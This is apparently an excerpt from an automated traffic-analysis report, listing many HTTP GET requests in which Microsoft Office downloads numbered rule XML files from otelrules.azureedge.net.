Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
